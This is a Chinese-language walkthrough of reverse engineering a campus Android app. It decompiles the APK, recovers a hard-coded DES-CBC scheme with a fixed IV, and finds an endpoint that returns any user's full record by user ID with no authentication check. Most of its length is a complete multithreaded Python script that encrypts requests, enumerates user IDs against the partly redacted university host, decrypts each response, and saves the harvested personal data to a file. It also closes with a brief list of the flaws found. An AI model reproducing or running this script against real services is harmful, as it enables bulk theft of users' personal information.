一个非常简单的APP逆向分析,学习一下Android应用的分析。
Apktool是一种用于对第三方、封闭的二进制 Android 应用程序进行逆向工程的工具。它可以将资源解码为接近原始形式,并在进行一些修改后重建它们;它可以逐步调试 SMALI 代码;此外,由于类似项目的文件结构和一些重复性任务(如构建 apk 等)的自动化,它使使用应用程序变得更加容易。
下载链接(Github):Releases · iBotPeaches/Apktool (github.com)
解包 执行下面的命令即可,base.apk是需要解包的apk文件,-o指定输出目录:
1 java -jar apktool.jar d base.apk -o base
寻找接口 手机代理到电脑上的burpsuite代理端口,即可对手机上一些走系统代理的应用进行抓包,这个APP恰好走系统代理,并且是http协议发包,无需安装证书:
尝试在手机上访问一些接口,就可以得到一些接口数据:
然后可以看到,请求数据包和响应都是加密的:
这时候看起来没啥办法继续分析报文了,暂不考虑暴力解密,我们就从逆向的smali文件中找找线索,直接搜索接口名字发现APP完全没有做任何混淆,可以找到下面内容:
1 2 3 4 5 ┌──(kali㉿kali)-[~/Desktop/base/smali] └─$ grep -r "xxxxxService" com/dses/camp******/common/DataUtils.smali: const-string v4, "/xxxxxService" com/dses/camp******/common/DataUtils.smali: const-string v6, "/xxxxxService" com/dses/camp******/common/DataUtils.smali: const-string v6, "/xxxxxService"
找到以上目录,我们可以发现下列内容:
1 2 3 4 5 6 7 8 9 ┌──(kali㉿kali)-[~/Desktop/base/smali] └─$ cd com/dses/camp******/common/ ┌──(kali㉿kali)-[~/…/com/dses/camp******/common] └─$ ls DataManager.smali DES.smali Global.smali DataUtils.smali FileUtils.smali MyResponseHandler.smali GlideRoundTransform.smali PersistenceCacheScope.smali
看到了一个可疑的DES文件,初步怀疑是使用了DES加密。
smali2java smali2java是一个将smali代码翻译成java代码的工具
一个Github下载链接:Releases · AlexeySoshin/smali2java (github.com)
前面已经使用apktool将apk反编译成smali代码,并且我们发现了一个DES.smali代码,疑似加密用途,下面我们就将该代码翻译成Java代码更容易阅读:
1 2 3 4 chmod +x smali2java_linux_amd64 ./smali2java_linux_amd64 -path_to_smali=./base/smali/com/dses/camp******/common/DES.smali
然后我们就在smali目录下看到了翻译好的java代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public class com .dses.camp******.common.DES { private static java.lang.String DESKey; private static iv; static com.dses.camp******.common.DES ( ) { final String v0 = "密钥" ; return ; } } public com.dses.camp******.common.DES ( ) { return ; } public static java.lang.String decryptDES ( java.lang.String p0 ) { } int v5 = 0 ; com.cbs.utils.F$Base64 .base64Decode ( p0,v5 ); v5 = com.dses.camp******.common.DES.iv; v5 = com.dses.camp******.common.DES.DESKey; (( java.lang.String ) v5 ).getBytes ( ); final String v6 = "DES" ; final String v5 = "DES/CBC/PKCS5Padding" ; javax.crypto.Cipher .getInstance ( v5 );int v5 = 2 ; (( javax.crypto.Cipher ) v1 ).init ( v5, v3, v4 ); (( javax.crypto.Cipher ) v1 ).doFinal ( v0 ); final String v6 = "gbk" ; public static java.lang.String encryptDES ( java.lang.String p0 ) { v4 = com.dses.camp******.common.DES.iv; v4 = com.dses.camp******.common.DES.DESKey; (( java.lang.String ) v4 ).getBytes ( ); final String v5 = "DES" ; final String v4 = "DES/CBC/PKCS5Padding" ; javax.crypto.Cipher .getInstance ( v4 );int v4 = 1 ; (( javax.crypto.Cipher ) v0 ).init ( v4, v2, v3 ); final String v4 = "gbk" ; (( java.lang.String ) p0 ).getBytes ( v4 ); (( javax.crypto.Cipher ) v0 ).doFinal ( v4 ); int v5 = 2 ; com.cbs.utils.F$Base64 .base64Encode ( v1,v5 ); }
以上代码翻译的可能不是完全正确,但是我们可以大致分析出数据包采用了DES加密,加密模式为CBC,初始化向量为固定值0x0,数据的编码方式为gbk,padding的方式为PKCS5Padding,并且加密的结果是经过base64编码的。
随后我们根据这个加密规则进行解密,成功将密文解密,然后发现没有进行任何鉴权,直接通过userid去查询用户的所有信息,那么我们就可以使用下面的poc脚本批量获取接口数据了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import threadingfrom Crypto.Cipher import DESimport base64import requestsfrom urllib import parseimport concurrent.futures file_write_lock = threading.Lock()def send_post_request (url, data ): headers = { 'Content-Type' : 'application/x-www-form-urlencoded' , } response = requests.post(url, headers=headers, data=data) return response def pad (text ): pad_size = 8 - (len (text) % 8 ) return text + bytes ([pad_size] * pad_size)def des_encrypt (key, data ): iv = bytes ([0x00 ] * 8 ) cipher = DES.new(key, DES.MODE_CBC, iv) padded_data = pad(data) encrypted_data = cipher.encrypt(padded_data) return encrypted_datadef des_decrypt (data, key ): iv = bytes ([0x00 ] * 8 ) cipher = DES.new(key, DES.MODE_CBC, iv) encrypted_data = base64.b64decode(data) decrypted_data = cipher.decrypt(encrypted_data) pad_size = decrypted_data[-1 ] decrypted_data = decrypted_data[:-pad_size] return decrypted_data.decode('gb2312' )def extract_string_value (xml_string, key ): encrypted_string = xml_string.replace('<?xml version="1.0" encoding="utf-8"?>' ,'' ).replace('</string>' ,'' ).replace('<string xmlns="http://tempuri.org/">' , '' ).replace('\n' , '' ).replace('\r' , '' ) if encrypted_string is not None : decrypted_string = des_decrypt(encrypted_string, key) return decrypted_string else : return "" def process_and_write_data (i ): key = b'密钥' data = base64.b64decode('解密后的base64请求' ) data = data.decode('utf-8' ).replace('userid' ,str (i)).encode('utf-8' ) encrypted_data = des_encrypt(key, data) encrypted_base64 = base64.b64encode(encrypted_data).decode('utf-8' ) encrypted_base64 = parse.quote(encrypted_base64) url = "http://xxx.xxxxx.edu.cn/campuxxxxxxxxx/xxxxxxxx.asmx/xxxxxService" response = send_post_request(url, "order=" +encrypted_base64) if response.status_code == 200 : with file_write_lock: with open ("info.txt" , "a" ) as f: f.write(str (i)+'\t' +extract_string_value(response.text, key)+'\n' ) else : print ("Failed!" ) print (i)def main (): data_list = list (range (userid_start, userid_stop)) with concurrent.futures.ThreadPoolExecutor() as executor: executor.map (process_and_write_data, data_list) if __name__ == "__main__" : main()
主要的问题是使用了硬编码密钥、不安全的加密算法、没有对APP加固、没有鉴权策略导致水平越权等一系列安全问题。
一些工具 base64编码解码:Base64 编码/解码 - 在线工具 (toolhelper.cn)
url编解码:在线URL解码编码工具_蛙蛙工具 (iamwawa.cn)
DES在线加解密:DES在线解密 DES在线加密 des hex - The X 在线工具 (the-x.cn)